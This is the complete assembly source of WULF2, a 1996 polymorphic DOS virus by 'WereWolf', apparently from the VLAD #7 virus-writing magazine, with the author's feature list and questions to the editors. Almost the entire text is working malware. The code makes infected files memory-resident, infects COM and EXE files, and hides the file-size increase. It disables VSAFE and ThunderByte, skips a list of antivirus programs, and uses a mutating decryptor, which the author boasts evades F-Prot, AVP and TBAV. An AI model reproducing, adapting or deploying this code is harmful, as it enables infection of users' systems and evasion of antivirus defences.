----------------------------------------------------------------------
WULF2 is:
- Encrypted polymorphic TSR COM / EXE infector
- hides file size increases
- COMMAND.COM infection (if you don't want to infect it,
just add 7,'COMMAND' in the unfriendly list)
- retro scanners
- disable TBAV
- 16 different encryption mechanisms (based on Rol, Ror and Xor)
- NO BOMB !
- not too bad coding (well, I hope!)
Remove all infected files to cure your computer. That's all.
----------------------------------------------------------------------
Further improvements ...
- slower mutation speed
- MCB stealth
- file disinfection on read or 4b01h (debug)
- code generation
* F-prot 2.21, AVPLITE 2.2, and THUNDERBYTE 7.00 catch nothing
as they don't know how to decrypt it.
(Tbav set the '@' flag because of the 'DEC SP' in the decryptor')
* AHA the new heuristic engine from Dr Solomon's FINDVIRU 7.56 manages
to decrypt and detect it as a virus ...
I'm not worried about it because it's very easy to change the main
code in order not to be detected, that's what I've done in my
SCREAM virus which is not encrypted and not detected heuristicaly !
but the code becomes then around 100 bytes longer.
And now, 2 questions:
---------------------
- Why doesn't the original dos handler work properly with the
ah = 5701h function (I use dos version 6.22 and the same file gets
infected again and again because the second stamp marker isn't set
by the dos)
- Many viruses of the Vlad magazines use the following code
to remain resident:
mov ax,es
dec ax
mov ds,ax
cmp byte ptr ds:[0],'Z'
jne Dont_Install
sub word ptr ds:[03h],Virus_Size
sub word ptr ds:[12h],Virus_Size
mov es,word ptr ds:[12h]
etc ...
BUT then the Upper memory becomes 0 (the UMB chain at 9fff:0 is killed)
example:
* Before loadind the virus
MEMORY TYPE TOTAL USED FREE
-------------- ----- ---- ----
Conventional 640K 48K 592K
Upper 159K 159K 0K <-- 159K
Reserved 384K 384K 0K
Extended (XMS) 15 201K 164K 15 037K
* AFTER loadind the virus
MEMORY TYPE TOTAL USED FREE
-------------- ----- ---- ----
Conventional 640K 48K 592K
Upper 0K 0K 0K <-- all 0 !!?
Reserved 384K 384K 0K
Extended (XMS) 15 201K 164K 15 037K
==> One of the bad consequencies is that then windows is loaded
in conventional memory, and just let you about 450K of free
conventional memory.
Maybe you could answer this 2 questions in your next issue ...
Thank you for correcting my english which is far from perfect
;ŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻ
;- WULF 2 -
;
; by
;
; WereWolf
;_____________________________________________________________
;
.model tiny ;
.code ;
.stack ;
org 0eh ;
;
VirSize = (Vend - Vstart + 10h)/10h ; it's + 10h ! (and no +0fh because we read
VirLength = (Vcrypted - Vstart + 10h) ; one more byte to encrypt the code)
Marker = 6 / 2 ; files with 6 seconds
;
;
WULF2: jmp Venter + 2 ;
;
Vstart: db Vcrypted - Crypted dup (0) ; reserved for the decryptor
;
Venter: mov sp,bp ;
in al,21h ;
push ax ds es;
;--- check install --- ;
mov ax,52b3h;
out 21h,al ; disable keyboard + clock
int 21h ;
;
cld ;
call Install ;
;
;--- back to the host --- ;
Host: pop es ds ax;
out 21h,al ; enable keyboard + clock
lea si,[bp+Buffer-Host] ;
mov di,100h ;
call Test_Exe; are we attached to an exe ?
jne Return_Com ; so, we are attached to a com file
Return_Exe: mov ax,es ;
add ax,10h ;
add word ptr cs:[Jump+2],ax ;
db 5 ; add ax,xxxx
OldSS dw 0 ;
cli ;
mov ss,ax ;
db 0bch ; mov sp,xxxx
OldSP dw 0 ;
sti ;
call Clear_Reg ;
db 0eah ;
Jump dd 0fff00000H ;
;
;--- variables -----------------------------------------;
ComJump db 0e9h ; jump for com file infection
Buffer db 'MZ' ; marker for exe file
db 19h dup (0) ; also used for exe header
w512 dw 512 ; used to divide exe file's size
Stealth_Flag db 1 ; Stealth ON / OFF
Sav24 db 0 ; first byte of int 24h handler
;-------------------------------------------------------;
;
Return_Com: push di ; di = 100h
movsw ;
movsb ;
Clear_Reg: xor ax,ax ;
xor bx,bx ;
xor cx,cx ;
cwd ; dx = 0
xor di,di ;
xor si,si ;
xor bp,bp ;
Bye: ret ;
;
;--- install virus in memory ---;
install:pop bp ;
push bp ;
jc Bye ; already installed
;
call Kill_AV ; kill VSAFE & TBAV
;
mov dx,ds ; later used to find Dos entry
mov ds,es:[bx-2] ;
;
;--- disable int 1 & int 3 --- ;
mov al,0cfh ; code for IRET
xor si,si ;
mov es,si ;
les di,dword ptr es:[si+4] ;
stosb ;
mov es,si ;
les di,dword ptr es:[si+0ch];
stosb ;
;
;--- allocate memory ---;
mov di,3 ;
mov ax,VirSize + 1 ;
Check_MCB: cmp byte ptr ds:[si],'M' ;
je Next_MCB;
cmp byte ptr ds:[si],'Z' ;
jne Get_MCB ;
cmp word ptr ds:[di],ax ; not enough memory
jbe Bye ;
mov byte ptr ds:[si],'M' ;
sub word ptr ds:[di],ax ; ax = VirSize + 1
Next_MCB: mov bx,ds ;
add bx,ds:[di] ;
inc bx ;
mov ds,bx ;
jmp Check_MCB ;
Get_MCB:mov byte ptr ds:[si],'Z' ;
mov word ptr ds:[si+1],8 ; we are part of DOS system now
dec ax ;
mov word ptr ds:[di],ax ; ax = VirSize
push ds ;
pop es ;
;
;--- move in memory --- ;
push cs ;
pop ds ;
lea di,Vstart ;
lea si,[bp+Vstart-Host] ;
mov cx,Vcrypted - Vstart ;
rep movsb ;
;
mov ds,cx ; ds = 0
;
;--- save initial int 21 address --- ;
cli ;
mov si,84h ; 0000:0084 (int 21)
push si ;
lea di,Sav21;
movsw ;
movsw ;
pop si ;
lea di,Real21 ;
movsw ;
movsw ;
;--- hook int 21h --- ;
mov word ptr [si-4],offset Int21 ;
mov word ptr [si-2],es ;
;
;-------------------------------------------------------;
;Find Original DOS Entry ;
;----------------------- ;
;;
;WereWolf thanks Satan's Little Helper ;
;(article in VLAD#3) ;
;-------------------------------------------------------;
mov ax,9090h; double-NOP
;--- int 30h trace --- ;
mov bx,0c0h ; ds:bx = 0000:00C0 = int 30h
call Trace ;
;--- psp trace --- ;
mov ds,dx ; ds points on the current PSP
lds bx,dword ptr ds:[6] ; ds:0006 points the dos dispatch handler
;--- trace dos entry ---;
Trace: cmp byte ptr ds:[bx],0eah ; is it JMP xxxx:xxxx ?
jne Check_Dispatch ;
lds bx,ds:[bx+1] ; point to xxxx:xxxx of the JMP
cmp word ptr ds:[bx],ax ; check for the double-NOP signature
jne Trace ;
sub bx,32h ; 32h byte offset from dispatch
cmp word ptr ds:[bx],ax ; is it the entry ? (double-NOP signature)
je Entry_Found ;
Check_Dispatch: cmp word ptr ds:[bx],2e1eh ; check for push ds, cs: override
jne Trace_Failed ;
add bx,25h ; 25h byte offset from dispatch
cmp word ptr ds:[bx],80fah ; check for cli, push ax
jne Trace_Failed ;
Entry_Found: mov word ptr es:Real21,bx ; save the dos entry
mov word ptr es:Real21+2,ds ;
Trace_Failed: ret ;
;
;-------------------------------------------------------;
;Kill VSAVE & TBAV ;
;----------------- ;
;;
;WereWolf greets Vyvojar for this code ;
;-------------------------------------------------------;
;
Tbname db 'TBMEMXXX','TBCHKXXX' ; thunderbyte's drivers
db 'TBDSKXXX','TBFILXXX' ;
;
Kill_AV:push ax bx cx dx di ds es ;
mov ah,0ffh ;
xor bl,bl ;
int 13h ;
mov ah,0feh ;
int 13h ;
;--- kill VSAFE --- ;
mov ax,0fa02h ;
mov dx,5945h;
mov bl,31h ;
int 16h ;
;--- kill TBAV --- ;
push cs ;
pop ds ;
mov ah,52h ;
int 21h ;
les bx,es:[bx+22h] ;
Search_Device: lea si,[bp + Tbname - 8 - Host] ;
mov cx,4 ;
Search_Utility: push cx ;
add si,8 ;
lea di,[bx+0ah] ;
mov cl,4 ;
push si ;
repe cmpsw ;
pop si cx ;
loopne Search_Utility ;
jne Next_Device ;
or byte ptr es:[16h],1 ; eliminates TB utility
Next_Device: les bx,es:[bx] ;
cmp bx,-1 ;
jne Search_Device ;
pop es ds di dx cx bx ax ;
ret ;
;
;--- Signature --- ;
VirusName db "[WULF2]",0 ; it has to be put somewhere
VirusDad db "İ1996 WereWolf",0 ; so why not here ??
;
;-------------------------------------------------------;
; NEW INT 21H HANDLER ;
;-------------------------------------------------------;
Int21: sti ;
cmp ax,52b3h; self-check install ?
jne Intercept0 ;
stc ;
jmp Retf2 ;
;
Intercept0: push ax ; save ax
xor ah,11h ; ah=11h find first FCB
jz Stealth ;
xor ah,3 ; ah=12h find next FCB
jz Stealth ;
xor ah,5ch ; ah=4eh find first Handle
jz Stealth ;
xor ah,1 ; ah=4fh find next Handle
jnz Intercept1 ;
;
Stealth:pop ax ;
mov byte ptr cs:Buffer,ah ; save ah
call i21 ;
jc Retf2 ;
pushf ;
cmp byte ptr cs:Stealth_Flag,0 ; Stealth ON ?
jz Popf_Retf2 ;
push ax bx si di ds es ;
mov ah,2fh ;
call i21 ;
push es ;
pop ds ;
mov di,16h ;
mov si,1ah ;
cmp byte ptr cs:Buffer,12h ;
ja S1 ;
inc di ; di = 0017h
mov si,1dh ;
cmp byte ptr ds:[bx],0ffh ; is it a large FCB ?
jne S0 ;
add bx,7 ; yes, so translate
S0: cmp word ptr ds:[bx+9],'XE' ;
je S1 ;
cmp word ptr ds:[bx+9],'OC' ;
jne Return_Stealth ;
S1: mov ax,ds:[bx+di] ; ax = file time
and al,1fh ; show seconds
cmp al,Marker ;
jne Return_Stealth ; not infected
les ax,dword ptr ds:[bx+si] ;
mov di,es ;
sub ax,VirLength ;
sbb di,0 ;
jc Return_Stealth ; too small to have been infected
S2: mov ds:[bx+si],ax ;
mov ds:[bx+si+2],di ;
Return_Stealth: pop es ds di si bx ax ;
Popf_Retf2: popf ;
Retf2: retf 2 ;
;
Intercept1: xor ah,4 ; ah=4bh program execution
jz Execution ;
xor ah,7 ; ah=4ch end program
jz Stealth_ON ;
xor ah,7dh ; ah=31h tsr function
jnz J21 ;
push bp ;
lea bp,Host ;
call Kill_AV ; kill VSAFE & TBAV
pop bp ;
Stealth_ON: mov byte ptr cs:Stealth_Flag,1 ; Stealth On
J21: jmp Jump21 ;
;
Execution: cmp al,1 ; we don't want special
ja J21 ; exec functions
push bx cx bp si di es dx ds ;
xor bp,bp ;
;--- disable keyboard & timer --- ;
in al,21h ;
or al,3 ;
out 21h,al ;
;--- inactive int 3h & int 24h--- ;
mov al,0cfh ; CF = code for IRET
mov es,bp ; es = 0
les di,dword ptr es:[bx+0ch];
stosb ;
mov es,bp ; es = 0
les di,dword ptr es:[90h] ;
xchg byte ptr es:[di],al ;
mov byte ptr cs:Sav24,al ;
;
;--- get attribute --- ;
mov ax,4300h; ax = 4300h
call i21 ;
push cx ; save attribute
;--- point file name ---;
mov si,dx ; ds:si points to file's name
cld ;
Scan_Fname1: lodsb ;
or al,al ;
jnz Scan_Fname1 ;
Scan_Fname2: dec si ;
cmp byte ptr [si-1],'\' ;
je Check_Fname0 ;
cmp byte ptr [si-1],'/' ;
jne Scan_Fname2 ;
;
;--- check for unfriendly programs --- ;
Check_Fname0: push cs ;
pop es ;
xor cx,cx ;
lea di,ProgList ;
Check_Fname1: mov cl,byte ptr cs:[di] ;
jcxz Open_File ; end of list ?
inc di ;
mov ax,di ;
add ax,cx ;
push ax si ;
Check_Fname2: lodsb ;
cmp al,'a' ;
jb Check_Fname3 ;
cmp al,'z' ;
ja Check_Fname3 ;
sub al,('a'-'A') ; convert 'a' to 'A', 'b' to 'B' etc ...
Check_Fname3: scasb ;
loope Check_Fname2 ;
pop si di ;
jne Check_Fname1 ;
cmp di,offset EndProgList ;
jb JRestore_2 ;
Stealth_OFF: mov byte ptr cs:Stealth_Flag,0 ; Stealth OFF for F-PROT & CHKDSK
je Open_File ; if di=EndProgList then ds:si='CHKDS'
JRestore_2: jmp Restore_2 ; else ds:si='F-'
;
Open_file: ;
;--- set r/w access --- ; cx = 0 after Check_Fname routine
mov ax,4301h; ax = 4301h
call i21 ;
jc JRestore_2 ;
;--- r/w open file --- ;
mov ax,3d02h;
call i21 ;
jc JRestore_2 ;
xchg bx,ax ;
push cs ;
pop ds ; ds = cs
;--- read file --- ;
lea dx,Buffer ;
mov si,dx ;
mov cx,1bh ;
mov ah,3fh ;
call i21 ;
jc Restore_1 ;
;--- read date & time --- ;
mov ax,5700h;
call i21 ;
jc Restore_1 ;
;--- test file for infection ---;
mov ax,cx ;
and al,1fh ;
cmp al,Marker ;
je Restore_1 ;
;--- test if valid exe --- ;
call Test_Exe; is it an exe file ?
je Exe_File;
push cx dx ; save Time & Date
call Infect_Com ;
jmp Restore ;
Exe_File: cmp byte ptr [si+18h],40h ; No new exe header (windows)
je Restore_1 ;
cmp byte ptr [si+1ah],0 ; No overlays
jne Restore_1 ;
push cx dx ; save Time & Date
call Infect_Exe ;
Restore:pop dx cx ; restore Time & Date
jc Restore_0 ; any problem occured ?
;
;--- mark the file --- ;
and cx,0ffe0h ;
or cl,Marker ;
;
;--- restore date & time --- ;
Restore_0: mov ax,5701h; for some reasons
;--- Normal int 21h call --- ; this Dos function doesn't
pushf ; work using the Dos entry
db 9ah ; that's why we use a normal
Sav21 dd 0 ; Dos call
Restore_1: mov ah,3eh ; close file
call i21 ;
Restore_2: pop cx ds dx; restore attribute
mov ax,4301h;
call i21 ;
;
;--- restore int 24h ---;
Rest_Int24: mov al,byte ptr cs:Sav24 ;
mov es,bp ;
les di,dword ptr es:[90h] ;
mov byte ptr es:[di],al ;
;--- enable keyboard & timer ---;
in al,21h ;
and al,0fch ;
out 21h,al ;
pop es di si bp cx bx ; restore registers
Jump21: pop ax ;
cli ;
jmp dword ptr cs:Sav21 ; jump to int 21h
;
;--- test if EXE --- ;
Test_Exe: cmp word ptr cs:[si],'ZM' ; look for 'MZ'
je Test_End;
cmp word ptr cs:[si],'MZ' ; look for 'ZM'
Test_End: ret ;
;
;--- MUTATION ENGINE -----------------------------------;
Mxchg0: cli ;
mov bp,sp ;
Mxchg1: cli ;
xchg sp,bp ;
Mxchg2: cli ;
xchg bp,sp ;
cli ;
;
Random1 dw 0 ;
Random2 dw 0 ;
;
Infect: push bx si dx ax ;
;--- get random values --- ;
GetKey: xor dx,dx ;
mov es,dx ;
les dx,es:[46ch] ; bios timer
;--- mutate decryptor --- ;
Mut0: mov cx,es ;
add ax,cx ;
add ax,dx ;
mov word ptr Random1,dx ; save random values
mov word ptr Random2,ax ;
push cs ;
pop es ; es = ds = cs
lea di,Crypted ;
and ax,1 ;
cmp dh,80h ;
ja Mut1 ;
inc ax ;
Mut1: mov si,ax ;
add si,si ;
add si,ax ; si = 3 * ax
lea si,[si+Mxchg0] ;
cmp dh,dl ;
jb Mut2 ;
inc si ;
Mut2: movsw ; xchg bp,sp (or mov bp,sp etc ...)
movsb ; cli
inc di ; jump the mov sp,
pop ax ;
stosw ; InitSP
add al,dl ;
adc ah,0 ;
add ax,Vcrypted - Venter + 1;
mov word ptr EndSP,ax ; EndSP
;
and dx,7 ;
mov ax,dx ;
add ax,0d0c0h ;
xchg ah,al ; rol byte,1
mov cx,ax ;
and ch,4 ; rol a.,1
add ch,0c0h ;
mov bx,8 ;
cmp byte ptr Random2 + 1,80h;
jb Mut3 ;
xchg bh,bl ;
Mut3: add ah,bh ;
add ch,bl ;
mov word ptr Func2,cx ;
mov bx,dx ;
mov cx,3 ;
and bl,cl ;
add bl,58h ;
xchg bx,ax ;
stosb ; pop
sub al,8 ;
push ax ; save associated push
xchg bx,ax ;
stosw ; rol or ror
and dx,cx ;
mov ax,dx ;
shl ax,cl ;
add ax,dx ; ax = 9 * dx
xchg ah,al ;
mov cx,0c432h ; xor al,ah
add ax,cx ; xor .l,.h
cmp byte ptr Random1,80h ;
jb Mut4 ;
add ah,1ch ;
add ch,1ch ;
Mut4: mov word ptr Func1,cx ; xor ah,al or xor al,ah
stosw ; xor .h,.l or xor .l,.h
pop ax ;
stosb ;
mov bx,word ptr Random2 ;
push bx ;
cmp bh,bl ;
jb Mut5 ;
mov ax,word ptr Func1 ;
xchg ax,word ptr Func2 ;
mov word ptr Func1,ax ;
mov ax,word ptr F1 ;
xchg ax,word ptr F2 ;
mov word ptr F1,ax ;
;
Mut5: and bx,7 ;
cmp bl,4 ; no pop sp !
je Mut6 ;
cmp bl,5 ; no pop bp !
jne Mut7 ;
Mut6: inc bx ;
inc bx ;
Mut7: mov ax,bx ;
add ax,4c58h; dec sp + pop ..
pop bx ;
and bh,1 ;
jz Mut8 ;
xchg ah,al ; dec sp <-> pop ..
Mut8: stosw ;
add di,4 ;
mov al,72h ; jb
cmp bl,80h ;
jb Mut9 ;
mov al,76h ; jbe
Mut9: stosb ;
;
;--- encrypt virus --- ;
Encrypt:mov si,di ; di = Vcrypted - 1
mov cx,Vcrypted - Venter ;
add di,cx ;
std ;
lodsb ;
inc si ;
E0: xchg ah,al ;
lodsb ;
Func1 dw 0 ;
Func2 dw 0 ;
stosw ;
inc di ;
loop E0 ;
cld ;
;
;--- write encrypted code --- ;
pop di ;
lea dx,[Crypted-10h-di] ;
mov cx,VirLength ;
pop si bx ;
jmp Write_File ;
;
;--- Unfriendly programs -------------------------------;
ProgListdb 5,'CLEAN',3,'AVP',2,'TB',1,'V' ;
db 4,'SCAN',3,'NAV',3,'IBM';
db 5,'FINDV',5,'GUARD',2,'FV' ;
db 6,'CHKDSK' ; CHKDSK can be infected
EndProgList db 2,'F-',0;
;
;--- EXE infection -------------------------------------;
Infect_Exe: les ax,dword ptr [si+14h] ; save old CS:IP
mov word ptr [Jump],ax ;
mov word ptr [Jump+2],es ;
les ax,dword ptr [si+0eh] ; save old SS:SP
mov word ptr OldSP,es ;
mov word ptr OldSS,ax ;
mov al,2 ; move pointer to
call Move_ptr; the end of file
push ax dx ; save file size
xchg di,ax ;
mov cx,dx ;
mov ax,word ptr [si+4] ;
dec ax ;
mul w512 ;
add ax,word ptr [si+2] ;
adc dx,bp ;
sub ax,di ;
sbb dx,cx ;
pop dx ax ;
jc Return ; internal overlays detected
push ax dx ;
mov di,[si+8] ; header size in paragraphs
mov cl,4 ;
shl di,cl ; multiply by 16
sub ax,di ; header size - file size
sbb dx,bp ; now DX:AX=file size - header size
mov cx,10h ; DX:AX/CX=AX remainder DX
div cx ;
mov [si+14h],cx ; IP offset
mov [si+16h],ax ; CS displacement in module
inc ax ;
mov [si+0eh],ax ; SS displacement
mov byte ptr [si+11h],cl ; starting SP
;
mov ax,Vcrypted - Crypted ;
call Infect ;
pop dx ax ; restore file size
jc Return ;
;
add ax,cx ; cx = Vend - Vstart + 10h
adc dx,bp ;
div w512 ;
or dx,dx ;
jz End_Infect ;
inc ax ;
End_Infect: mov [si+2],dx ; number of 512 pages
mov [si+4],ax ; number of bytes in last page
xor ax,ax ; move pointer
call Move_Ptr; to the bigining of the file
mov dx,si ; write new header
mov cl,18h ;
Write_File: mov ah,40h ;
;--- Real int 21h call --- ;
i21: pushf ;
db 9ah ;
Real21 dd 0 ;
Return: ret ;
;
;--- Move file pointer --- ;
Move_Ptr: mov ah,42h ;
cwd ;
xor cx,cx ;
jmp i21 ;
;
;--- COM Infection -------------------------------------;
Infect_Com: mov al,2 ; move pointer to the
call Move_ptr; end of file
or dx,dx ; size > 64k ?
stc ;
jnz Return ;
cmp ax,64000 - VirLength ;
ja Return ; Not too big
sub ax,3 ;
jc Return ; but not too small
push ax ; save file size
;
add ax,Vcrypted - Crypted + 103h ;
mov dl,10h ;
call Infect ;
pop word ptr ds:[si]; set jump address
jc Return ;
;
xor ax,ax ; move pointer to the
call Move_Ptr; bigining of the file
mov dl,ComJump - Vstart + 10h ; dx = offset ComJump
mov cl,3 ;
jmp Write_File ; write jump
;
;--- Decryptor -----------------------------------------;
Crypted:cli ;
mov bp,sp ;
db 0bch ; mov sp,xxxx
InitSP dw 0 ;
M0: pop ax ;
F1 dw 0 ;
F2 dw 0 ;
push ax ;
pop bx ;
dec sp ;
dw 0fc81h ; cmp sp,xxxx
EndSP dw 0 ;
jb M0 ;
;
Vcrypteddb Vcrypted - Venter dup (0) ; crypted form
;
Vend: ;===============================================;
;
end WULF2 ;
- VLAD #7 INDEX -